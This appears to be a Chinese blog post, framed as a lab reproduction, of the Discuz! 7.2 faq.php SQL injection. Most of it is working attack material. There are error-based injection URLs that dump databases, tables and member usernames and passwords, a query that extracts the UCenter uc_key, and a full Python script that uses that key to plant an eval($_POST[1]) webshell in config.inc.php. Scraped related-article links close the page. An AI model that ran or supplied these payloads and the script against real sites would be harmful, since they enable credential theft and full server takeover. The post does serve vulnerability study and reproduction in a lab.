0x01 实验准备

实验原理:

Discuz7.2 SQL注入漏洞利用PHP特性突破GPC,形成SQL注入漏洞。

实验工具:

UCenter+Discuz 7.2安装包

实验环境:

  1. 安装 Discuz 网站的服务器(Windows)
  2. 安装 python 环境的攻击机

0x01 实验步骤

一、搭建环境

1. 安装UCenter

通过 http://192.168.88.129/dz7.2/upload/install/index.php 页面安装:

出现错误:

将UCenter文件放置在dz7.2文件夹下,访问http://192.168.88.129/dz7.2/UCenter/upload/install/index.php:

安装UCenter成功:

2. 安装Discuz

通过 UCenter 页面安装Discuz:

根据实际情况填写数据库等信息后,安装成功会自动跳转:

二、SQL注入漏洞复现

1. 漏洞形成原因

代码:
faq.php文件在 upload 文件夹下:

$query = $db->query("SELECT groupid, type, grouptitle, radminid FROM {$tablepre}usergroups ORDER BY (creditshigher<>'0' || creditslower<>'0'), creditslower");

discuz在全局会对GET数组进行addslashes转义,会将 ’ 转义成 ’ 。
当传入的参数是:gids[1]=' ,会被转义成 gids[1]=\'

$groupids = array();
foreach($gids as $row) {$groupids[] = $row[0];
}

赋值语句 $groupids[] = $row[0] 就相当于取了字符串的第一个字符
\,所以把转义符号取出来了。

function implodeids($array) {if(!empty($array)) {return "'".implode("','", is_array($array) ? $array : array($array))."'";} else {return '';}
}
此函数在 \include\global.func.php

将数据放入sql语句前,用 implodeids 处理过一次。implodeids函数是将$groupids数组用','分割开,组成一个类似于 ‘1’,‘2’,‘3’,‘4’ 的字符串返回。
由于刚取出一个转义符,会将正常的 ' 转义后为:'1','\','3','4'
第4个单引号被转义了,所以第5个单引号和第3个单引号形成了闭合。位置3就等于逃逸成功,形成注入。
通过提交 faq.php?gids[uid1]='&gids[uid2][0]=evilcode ,这样的构造形式语句可以突破GPC或类似的安全处理,形成SQL注入漏洞。
注意:uid1和uid2 > 网站注册用户iduid1与uid2不能相等

2.漏洞利用

(1)查询当前数据库/MySQL用户信息:

faq.php?action=grouppermission&gids[112]='&gids[113][0]=)and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) --+若查询MySQL用户信息,修改 database() 为 user()

(2)利用 information_schame 查询库:

faq.php?action=grouppermission&gids[112]='&gids[113][0]=)and (select 1 from (select count(*),concat((select (select (select concat(schema_name,0x7e) from information_schema.schemata limit 0,1) ) from`information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+若查询下个数据库,修改 from information_schema.schemata limit 0,1 中的 0

(3)查询列:

faq.php?action=grouppermission&gids[112]='&gids[113][0]=)and (select 1 from (select count(*),concat(floor(rand(0)*2),0x7e,(select hex(table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e)x from information_schema.tables group by x)a) --+若查询下一个列,修改 from information_schema.tables where table_schema=database() limit 0,1 中的 0

(4)查询 cdb_members 表的 username 和 password 数据(网站注册用户的账号密码):

faq.php?action=grouppermission&gids[112]='&gids[113][0]=)and (select 1 from (select count(*),concat((select (select (select concat(username,0x27,password) from cdb_members limit 0,1) ) from`information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+若查询下一行数据,修改 from cdb_members limit 0,1 中的 0

(5)跨库获取uc_key(利用key写入配置文件config.inc.php getshell):

faq.php?action=grouppermission&gids[112]='&gids[113][0]=)and (select 1 from (select count(*),concat((select (select (select substr(authkey,1,66) from ucenter.uc_applications limit 0,1) ) from`information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+若查询下一行数据,修改 from uc_applications limit 0,1 中的 0
3.利用uc_key写入配置文件getshell

**原理:**过滤存在问题,导致在提交配置文件的时候,把一句话木马写入配置文件中。执行成功以后,会在根目录的config.inc.php文件中写入一句话木马。

使用命令: python xxx.py http://xxxx uc_key值

第一个参数是网站根路径,第二个参数是uc_key值。

python脚本:

#! /usr/bin/env python
#coding=utf-8
import hashlib
import time
import math
import base64
import urllib
import urllib2
import sysdef microtime(get_as_float = False) :if get_as_float:return time.time()else:return '%.8f %d' % math.modf(time.time())def get_authcode(string, key = ''):ckey_length = 4key = hashlib.md5(key).hexdigest()keya = hashlib.md5(key[0:16]).hexdigest()keyb = hashlib.md5(key[16:32]).hexdigest()keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]#keyc = (hashlib.md5('0.736000 1389448306').hexdigest())[-ckey_length:]cryptkey = keya + hashlib.md5(keya+keyc).hexdigest()key_length = len(cryptkey)string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+stringstring_length = len(string)result = ''box = range(0, 256)rndkey = dict()for i in range(0,256):rndkey[i] = ord(cryptkey[i % key_length])j=0for i in range(0,256):j = (j + box[i] + rndkey[i]) % 256tmp = box[i]box[i] = box[j]box[j] = tmpa=0j=0for i in range(0,string_length):a = (a + 1) % 256j = (j + box[a]) % 256tmp = box[a]box[a] = box[j]box[j] = tmpresult += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))return keyc + base64.b64encode(result).replace('=', '')def get_shell(url,key,host):'''发送命令获取webshell'''headers={'Accept-Language':'zh-cn','Content-Type':'application/x-www-form-urlencoded','User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)','Referer':url}tm = time.time()+10*3600tm="time=%d&action=updateapps" %tmcode = urllib.quote(get_authcode(tm,key))url=url+"?code="+codedata1='''<?xml version="1.0" encoding="ISO-8859-1"?><root><item id="UC_API">http://xxx\');eval($_POST[1]);//</item></root>'''try:req=urllib2.Request(url,data=data1,headers=headers)ret=urllib2.urlopen(req)except:return "访问出错"data2='''<?xml version="1.0" encoding="ISO-8859-1"?><root><item id="UC_API">http://aaa</item></root>'''try:req=urllib2.Request(url,data=data2,headers=headers)ret=urllib2.urlopen(req)except:return "error"return "webshell:"+host+"/config.inc.php,password:1"if __name__ == '__main__':host=sys.argv[1]key=sys.argv[2]url=host+"/api/uc.php"print get_shell(url,key,host)

执行成功:
执行成功后,config.inc.php文件被修改为:

Discuz!7.2 SQL注入复现实验相关推荐

  1. thinkphp5.0.9预处理导致的sql注入复现与详细分析

    复现 先搭建thinkphp5.0.9环境 配置下测试环境 然后访问 http://tptest.cc/index.php/index/index/getage?names[0,updatexml(0 ...

  2. 从入门到入土:[SEED-Lab]-SQL注入攻击|SQL Injection Attack Lab|详细说明|实验步骤|实验截图

    此博客仅用于记录个人学习进度,学识浅薄,若有错误观点欢迎评论区指出.欢迎各位前来交流.(部分材料来源网络,若有侵权,立即删除) 本人博客所有文章纯属学习之用,不涉及商业利益.不合适引用,自当删除! 若 ...

  3. 漏洞篇(SQL注入一)

    目录 一.sql 注入概述 1.SQL 注入原理 2.SQL 注入的分类 二.部署 sqli-labs 学习环境 1.SQLI-LABS 简介 2.部署 SQLI-LABS 实验环境 三.SQLI-L ...

  4. DVWA通过攻略之SQL注入

    目录 1.SQL Injection SQL注入 2.实验演示 2.1.low 2.3.high 2.4.impossible 3.sqlmap自动化注入 3.1.low 3.2.medium 3.3 ...

  5. php100漏洞,phpyun人才管理系统V5.0 SQL注入漏洞分析

    *世界上最愚蠢的事莫过于我们无比狂热地做一件事,到最后却不知道为什么要做* cms背景介绍 PHP云人才管理系统(phpyun)是国内主流人才管理CMS系统之一!PHP云专为中文用户设计和开发,采用: ...

  6. SQL注入之联合查询

    文章目录 简单的sql注入漏洞 实验内容 免责声明 简单的sql注入漏洞 information_schema|+-- tables| || `-- table_name| || `-- table_ ...

  7. 搭建sql注入实验环境(基于windows)

    搭建服务器环境 1.下载xampp包 地址:http://www.apachefriends.org/zh_cn/xampp.html 很多人觉得安装服务器是件不容易的事,特别是要想添加MySql, ...

  8. SEED实验系列:Collabtive系统SQL注入实验

    本课程原文链接为:https://www.shiyanlou.com/courses/291,实验楼已经为此课程的实践提供了在线实验环境,想要尝试体验的,可以直接前往实验楼进行实践操作. 你能够喜欢我 ...

  9. mysql延迟注入br,实验3—SQL注入漏洞的攻击与防御(基于时间延迟的盲注)

    1.实验名称 SQL报错注入 2.实验环境 1.攻击机系统环境:Windows 7/8/10 2.浏览器:Firefox 53.0.2(64位) 3.浏览器插件HackBar 1.6.3.1 3.实验 ...

最新文章

  1. Swift 中的内存管理详解
  2. append 降低数组位数_腿粗有理!研究发现腿部脂肪多,能大幅降低患高血压的风险!...
  3. c++ 字符串数组长度排序_C指针和字符串数组
  4. xp系统中的隐藏文件不能显示 解决方案
  5. 人工智能对教育产业的冲击和机遇分析 ——游戏化学习
  6. html自动执行bat,html文件执行cmd指令
  7. 桶排序+基数排序+计数排序
  8. 零基础不建议学前端_web前端培训心得:零基础怎样学好web前端
  9. Java学习笔记—TCP通信
  10. LINQ学习笔记(9) LINQ to Objects---查询内存中对象的集合
  11. 高调coding,低调做人 peakflys P2P的原理和常见的实现方式(为libjingle开路)
  12. 因策划进军餐饮等虚假营销 TikTok前营销主管被开除
  13. 《Ray Tracing in One Weekend》——Chapter 6: Antialiasing
  14. JS + HTml 时钟代码实现
  15. Redlock(redis 分布式锁)原理分析
  16. SwitchHost使用教程
  17. AI改变现代商业的25种方式
  18. 洛谷 P2895 [USACO08FEB]Meteor Shower S C++ BFS 广搜
  19. c语言程序 存款利息的计算,【c语言】存款利息的计算
  20. 如何查询端口号是否被占用

热门文章

  1. 如何发包到npmjs上
  2. Acrel-3000电能管理系统在浙江某铝塑业有限公司的应用
  3. VMwrare虚拟机上网
  4. 一个U盘装 N 款系统不是梦!超级好用的装机神器!
  5. AttributeSet自定义控件
  6. 人工智能轨道交通行业周刊-第39期(2023.3.20-3.26)
  7. 【计算机视觉】局部图像描述子
  8. 【濡白的C语言】初学者-从零开始-5(模块化设计——函数,传值和传址)
  9. 2023考研推荐新闻传播专业入门可以看的好书
  10. 最新!又一批高校官宣:推迟开学!各地政策如何安排?